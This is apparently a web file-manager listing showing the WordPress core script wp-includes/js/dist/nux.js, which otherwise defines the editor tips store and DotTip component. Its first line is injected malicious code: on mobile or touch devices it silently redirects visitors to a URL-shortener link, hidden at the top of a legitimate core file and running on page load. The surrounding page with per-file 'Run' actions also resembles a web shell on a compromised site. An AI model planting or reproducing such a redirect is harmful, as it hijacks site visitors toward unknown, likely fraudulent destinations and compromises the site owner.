at path:ROOT / wp-includes / js / dist / nux.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄nux.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).nux = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/deprecated
36 var require_deprecated = __commonJS({
37 "package-external:@wordpress/deprecated"(exports, module) {
38 module.exports = window.wp.deprecated;
39 }
40 });
41
42 // package-external:@wordpress/data
43 var require_data = __commonJS({
44 "package-external:@wordpress/data"(exports, module) {
45 module.exports = window.wp.data;
46 }
47 });
48
49 // package-external:@wordpress/compose
50 var require_compose = __commonJS({
51 "package-external:@wordpress/compose"(exports, module) {
52 module.exports = window.wp.compose;
53 }
54 });
55
56 // package-external:@wordpress/components
57 var require_components = __commonJS({
58 "package-external:@wordpress/components"(exports, module) {
59 module.exports = window.wp.components;
60 }
61 });
62
63 // package-external:@wordpress/i18n
64 var require_i18n = __commonJS({
65 "package-external:@wordpress/i18n"(exports, module) {
66 module.exports = window.wp.i18n;
67 }
68 });
69
70 // package-external:@wordpress/element
71 var require_element = __commonJS({
72 "package-external:@wordpress/element"(exports, module) {
73 module.exports = window.wp.element;
74 }
75 });
76
77 // package-external:@wordpress/primitives
78 var require_primitives = __commonJS({
79 "package-external:@wordpress/primitives"(exports, module) {
80 module.exports = window.wp.primitives;
81 }
82 });
83
84 // vendor-external:react/jsx-runtime
85 var require_jsx_runtime = __commonJS({
86 "vendor-external:react/jsx-runtime"(exports, module) {
87 module.exports = window.ReactJSXRuntime;
88 }
89 });
90
91 // packages/nux/build-module/index.mjs
92 var index_exports = {};
93 __export(index_exports, {
94 DotTip: () => dot_tip_default,
95 store: () => store
96 });
97 var import_deprecated = __toESM(require_deprecated(), 1);
98
99 // packages/nux/build-module/store/index.mjs
100 var import_data3 = __toESM(require_data(), 1);
101
102 // packages/nux/build-module/store/reducer.mjs
103 var import_data = __toESM(require_data(), 1);
104 function guides(state = [], action) {
105 switch (action.type) {
106 case "TRIGGER_GUIDE":
107 return [...state, action.tipIds];
108 }
109 return state;
110 }
111 function areTipsEnabled(state = true, action) {
112 switch (action.type) {
113 case "DISABLE_TIPS":
114 return false;
115 case "ENABLE_TIPS":
116 return true;
117 }
118 return state;
119 }
120 function dismissedTips(state = {}, action) {
121 switch (action.type) {
122 case "DISMISS_TIP":
123 return {
124 ...state,
125 [action.id]: true
126 };
127 case "ENABLE_TIPS":
128 return {};
129 }
130 return state;
131 }
132 var preferences = (0, import_data.combineReducers)({ areTipsEnabled, dismissedTips });
133 var reducer_default = (0, import_data.combineReducers)({ guides, preferences });
134
135 // packages/nux/build-module/store/actions.mjs
136 var actions_exports = {};
137 __export(actions_exports, {
138 disableTips: () => disableTips,
139 dismissTip: () => dismissTip,
140 enableTips: () => enableTips,
141 triggerGuide: () => triggerGuide
142 });
143 function triggerGuide(tipIds) {
144 return {
145 type: "TRIGGER_GUIDE",
146 tipIds
147 };
148 }
149 function dismissTip(id) {
150 return {
151 type: "DISMISS_TIP",
152 id
153 };
154 }
155 function disableTips() {
156 return {
157 type: "DISABLE_TIPS"
158 };
159 }
160 function enableTips() {
161 return {
162 type: "ENABLE_TIPS"
163 };
164 }
165
166 // packages/nux/build-module/store/selectors.mjs
167 var selectors_exports = {};
168 __export(selectors_exports, {
169 areTipsEnabled: () => areTipsEnabled2,
170 getAssociatedGuide: () => getAssociatedGuide,
171 isTipVisible: () => isTipVisible
172 });
173 var import_data2 = __toESM(require_data(), 1);
174 var getAssociatedGuide = (0, import_data2.createSelector)(
175 (state, tipId) => {
176 for (const tipIds of state.guides) {
177 if (tipIds.includes(tipId)) {
178 const nonDismissedTips = tipIds.filter(
179 (tId) => !Object.keys(
180 state.preferences.dismissedTips
181 ).includes(tId)
182 );
183 const [currentTipId = null, nextTipId = null] = nonDismissedTips;
184 return { tipIds, currentTipId, nextTipId };
185 }
186 }
187 return null;
188 },
189 (state) => [state.guides, state.preferences.dismissedTips]
190 );
191 function isTipVisible(state, tipId) {
192 if (!state.preferences.areTipsEnabled) {
193 return false;
194 }
195 if (state.preferences.dismissedTips?.hasOwnProperty(tipId)) {
196 return false;
197 }
198 const associatedGuide = getAssociatedGuide(state, tipId);
199 if (associatedGuide && associatedGuide.currentTipId !== tipId) {
200 return false;
201 }
202 return true;
203 }
204 function areTipsEnabled2(state) {
205 return state.preferences.areTipsEnabled;
206 }
207
208 // packages/nux/build-module/store/index.mjs
209 var STORE_NAME = "core/nux";
210 var store = (0, import_data3.createReduxStore)(STORE_NAME, {
211 reducer: reducer_default,
212 actions: actions_exports,
213 selectors: selectors_exports,
214 persist: ["preferences"]
215 });
216 (0, import_data3.registerStore)(STORE_NAME, {
217 reducer: reducer_default,
218 actions: actions_exports,
219 selectors: selectors_exports,
220 persist: ["preferences"]
221 });
222
223 // packages/nux/build-module/components/dot-tip/index.mjs
224 var import_compose = __toESM(require_compose(), 1);
225 var import_components = __toESM(require_components(), 1);
226 var import_i18n = __toESM(require_i18n(), 1);
227 var import_data4 = __toESM(require_data(), 1);
228 var import_element = __toESM(require_element(), 1);
229
230 // packages/icons/build-module/library/close.mjs
231 var import_primitives = __toESM(require_primitives(), 1);
232 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
233 var close_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" }) });
234
235 // packages/nux/build-module/components/dot-tip/index.mjs
236 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
237 function onClick(event) {
238 event.stopPropagation();
239 }
240 function DotTip({
241 position = "middle right",
242 children,
243 isVisible,
244 hasNextTip,
245 onDismiss,
246 onDisable
247 }) {
248 const anchorParent = (0, import_element.useRef)(null);
249 const onFocusOutsideCallback = (0, import_element.useCallback)(
250 (event) => {
251 if (!anchorParent.current) {
252 return;
253 }
254 if (anchorParent.current.contains(event.relatedTarget)) {
255 return;
256 }
257 onDisable();
258 },
259 [onDisable, anchorParent]
260 );
261 if (!isVisible) {
262 return null;
263 }
264 return /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(
265 import_components.Popover,
266 {
267 className: "nux-dot-tip",
268 position,
269 focusOnMount: true,
270 role: "dialog",
271 "aria-label": (0, import_i18n.__)("Editor tips"),
272 onClick,
273 onFocusOutside: onFocusOutsideCallback,
274 children: [
275 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)("p", { children }),
276 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
277 import_components.Button,
278 {
279 __next40pxDefaultSize: true,
280 variant: "link",
281 onClick: onDismiss,
282 children: hasNextTip ? (0, import_i18n.__)("See next tip") : (0, import_i18n.__)("Got it")
283 }
284 ) }),
285 /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
286 import_components.Button,
287 {
288 size: "small",
289 className: "nux-dot-tip__disable",
290 icon: close_default,
291 label: (0, import_i18n.__)("Disable tips"),
292 onClick: onDisable
293 }
294 )
295 ]
296 }
297 );
298 }
299 var dot_tip_default = (0, import_compose.compose)(
300 (0, import_data4.withSelect)((select, { tipId }) => {
301 const { isTipVisible: isTipVisible2, getAssociatedGuide: getAssociatedGuide2 } = select(store);
302 const associatedGuide = getAssociatedGuide2(tipId);
303 return {
304 isVisible: isTipVisible2(tipId),
305 hasNextTip: !!(associatedGuide && associatedGuide.nextTipId)
306 };
307 }),
308 (0, import_data4.withDispatch)((dispatch, { tipId }) => {
309 const { dismissTip: dismissTip2, disableTips: disableTips2 } = dispatch(store);
310 return {
311 onDismiss() {
312 dismissTip2(tipId);
313 },
314 onDisable() {
315 disableTips2();
316 }
317 };
318 })
319 )(DotTip);
320
321 // packages/nux/build-module/index.mjs
322 (0, import_deprecated.default)("wp.nux", {
323 since: "5.4",
324 hint: "wp.components.Guide can be used to show a user guide.",
325 version: "6.2"
326 });
327 return __toCommonJS(index_exports);
328})();
329